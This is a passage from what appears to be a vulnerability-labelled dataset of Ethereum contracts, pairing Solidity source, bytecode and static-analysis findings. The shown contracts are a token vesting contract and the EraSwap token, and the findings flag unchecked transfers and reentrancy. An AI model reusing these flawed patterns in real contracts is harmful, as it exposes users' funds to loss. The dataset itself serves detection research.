11288610d576402540be400610625612580876005015461154790919063ffffffff16565b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018490529051929450600160a060020a039091169163a9059cbb916044808201926020929091908290030181600087803b1580156112f857600080fd5b505af115801561130c573d6000803e3d6000fd5b505050506040513d602081101561132257600080fd5b50505b426005600081548110151561133657fe5b906000526020600020906006020160020181905550426005600181548110151561135c57fe5b906000526020600020906006020160010181905550600194505050505090565b60036020526000908152604090205460ff1681565b60008054600160a060020a031633146113a957600080fd5b81516064116113b757600080fd5b5060005b81518160ff16101561147157600160036000848460ff168151811015156113de57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff191691151591909117905581517f187047b56eb20e7a0313254e37dc60b8c1a9d25707114d2caaaee420b2b7ec2390839060ff841690811061144357fe5b602090810290910181015160408051600160a060020a039092168252519081900390910190a16001016113bb565b5050565b600054600160a060020a0316331461148c57600080fd5b600160a060020a03811615156114a157600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600254600160a060020a031681565b600154600160a060020a031681565b60065481565b60008282018381101561153c57fe5b8091505b5092915050565b60008083151561155a5760009150611540565b5082820282848281151561156a57fe5b041461153c57fe5b600080828481151561158057fe5b04949350505050565b6000806115a460646106258660ff871663ffffffff61154716565b90506115b6848263ffffffff61152d16565b949350505050565b6000828211156115ca57fe5b509003905600a165627a7a7230582002e6d79e20eba923599d9809092a98d7471fff62b2494182d21b2575c7faa1a90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,081 |
0x872a22cA83C44bceF7B39DD4213D8f6DD8f84797
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,082 |
0x2ce59e1f4c4159e087d1e2e16db2b606f67a2f3a
|
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Mintable token
* @dev ERC20 token, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
using SafeMath for uint256;
mapping(address => uint256)public shares;
address[] public beneficiaries;
event Mint(address indexed to, uint256 amount);
event MintFinished();
event BeneficiariesAdded();
uint256 public lastMintingTime;
uint256 public mintingStartTime = 1543622400;
uint256 public mintingThreshold = 31536000;
uint256 public lastMintedTokens = 91000000000000000;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
require(totalSupply < 910000000000000000);// Total minting has not yet been finished
require(beneficiaries.length == 7);//Check beneficiaries has been added
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @return A boolean that indicates if the operation was successful.
*/
function mint() hasMintPermission canMint public returns (bool){
uint256 _amount = tokensToMint();
totalSupply = totalSupply.add(_amount);
for(uint8 i = 0; i<beneficiaries.length; i++){
balances[beneficiaries[i]] = balances[beneficiaries[i]].add(_amount.mul(shares[beneficiaries[i]]).div(100));
emit Mint(beneficiaries[i], _amount.mul(shares[beneficiaries[i]]).div(100));
emit Transfer(address(0), beneficiaries[i], _amount.mul(shares[beneficiaries[i]]).div(100));
}
lastMintingTime = now;
return true;
}
//Return how much tokens will be minted as per algorithm. Each year 10% tokens will be reduced
function tokensToMint()private returns(uint256 _tokensToMint){
uint8 tiersToBeMinted = currentTier() - getTierForLastMiniting();
require(tiersToBeMinted>0);
for(uint8 i = 0;i<tiersToBeMinted;i++){
_tokensToMint = _tokensToMint.add(lastMintedTokens.sub(lastMintedTokens.mul(10).div(100)));
lastMintedTokens = lastMintedTokens.sub(lastMintedTokens.mul(10).div(100));
}
return _tokensToMint;
}
function currentTier()private view returns(uint8 _tier) {
uint256 currentTime = now;
uint256 nextTierStartTime = mintingStartTime;
while(nextTierStartTime < currentTime) {
nextTierStartTime = nextTierStartTime.add(mintingThreshold);
_tier++;
}
return _tier;
}
function getTierForLastMiniting()private view returns(uint8 _tier) {
uint256 nextTierStartTime = mintingStartTime;
while(nextTierStartTime < lastMintingTime) {
nextTierStartTime = nextTierStartTime.add(mintingThreshold);
_tier++;
}
return _tier;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function beneficiariesPercentage(address[] _beneficiaries, uint256[] percentages) onlyOwner external returns(bool){
require(_beneficiaries.length == 7);
require(percentages.length == 7);
uint256 sumOfPercentages;
if(beneficiaries.length>0) {
for(uint8 j = 0;j<beneficiaries.length;j++) {
shares[beneficiaries[j]] = 0;
delete beneficiaries[j];
}
beneficiaries.length = 0;
}
for(uint8 i = 0; i < _beneficiaries.length; i++){
require(_beneficiaries[i] != 0x0);
require(percentages[i] > 0);
beneficiaries.push(_beneficiaries[i]);
shares[_beneficiaries[i]] = percentages[i];
sumOfPercentages = sumOfPercentages.add(percentages[i]);
}
require(sumOfPercentages == 100);
emit BeneficiariesAdded();
return true;
}
}
/**
* @title ERA Swap Token
* @dev Token representing EST.
*/
contract EraSwapToken is BurnableToken, MintableToken{
string public name ;
string public symbol ;
uint8 public decimals = 8 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symboll of the token
*/
constructor (
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = tokenName;
symbol = tokenSymbol;
balances[msg.sender] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde0314610160578063095ea7b3146101ea5780631249c58b1461020e57806318160ddd1461022357806323b872dd1461024a578063289de615146102745780632af05c4e1461036e5780632e368e0314610383578063313ce567146103af57806342966c68146103da57806370a08231146103f45780637d64bcb41461041557806387b557051461042a5780638da5cb5b1461043f57806395d89b4114610470578063a9059cbb14610485578063ce7c2ac2146104a9578063dd62ed3e146104ca578063dfef5f69146104f1578063e3aeedc414610506578063efeb5e581461051b578063f2fde38b14610533575b600080fd5b34801561014357600080fd5b5061014c610554565b604080519115158252519081900360200190f35b34801561016c57600080fd5b5061017561055d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101af578181015183820152602001610197565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b5061014c600160a060020a03600435166024356105eb565b34801561021a57600080fd5b5061014c610651565b34801561022f57600080fd5b50610238610916565b60408051918252519081900360200190f35b34801561025657600080fd5b5061014c600160a060020a036004358116906024351660443561091c565b34801561028057600080fd5b50610289610ac4565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156102d05781810151838201526020016102b8565b50505050905090810190601f1680156102fd5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610330578181015183820152602001610318565b50505050905090810190601f16801561035d5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561037a57600080fd5b50610238610c05565b34801561038f57600080fd5b5061014c6024600480358281019290820135918135918201910135610c0b565b3480156103bb57600080fd5b506103c4610e79565b6040805160ff9092168252519081900360200190f35b3480156103e657600080fd5b506103f2600435610e82565b005b34801561040057600080fd5b50610238600160a060020a0360043516610e8f565b34801561042157600080fd5b5061014c610eaa565b34801561043657600080fd5b50610238610f36565b34801561044b57600080fd5b50610454610f3c565b60408051600160a060020a039092168252519081900360200190f35b34801561047c57600080fd5b50610175610f4b565b34801561049157600080fd5b5061014c600160a060020a0360043516602435610fa6565b3480156104b557600080fd5b50610238600160a060020a03600435166110b7565b3480156104d657600080fd5b50610238600160a060020a03600435811690602435166110c9565b3480156104fd57600080fd5b506102386110f4565b34801561051257600080fd5b506102386110fa565b34801561052757600080fd5b50610454600435611100565b34801561053f57600080fd5b506103f2600160a060020a0360043516611128565b600a5460ff1681565b600b805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035460009081908190600160a060020a0316331461066f57600080fd5b600a5460ff161561067f57600080fd5b600054670ca0f82db99b00001161069557600080fd5b6005546007146106a457600080fd5b6106ac6111bd565b6000549092506106c2908363ffffffff61126416565b600090815590505b60055460ff8216101561090a5761077d610736606461072a6004600060058760ff168154811015156106f857fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902054869063ffffffff61127e16565b9063ffffffff6112a916565b6001600060058560ff1681548110151561074c57fe5b6000918252602080832090910154600160a0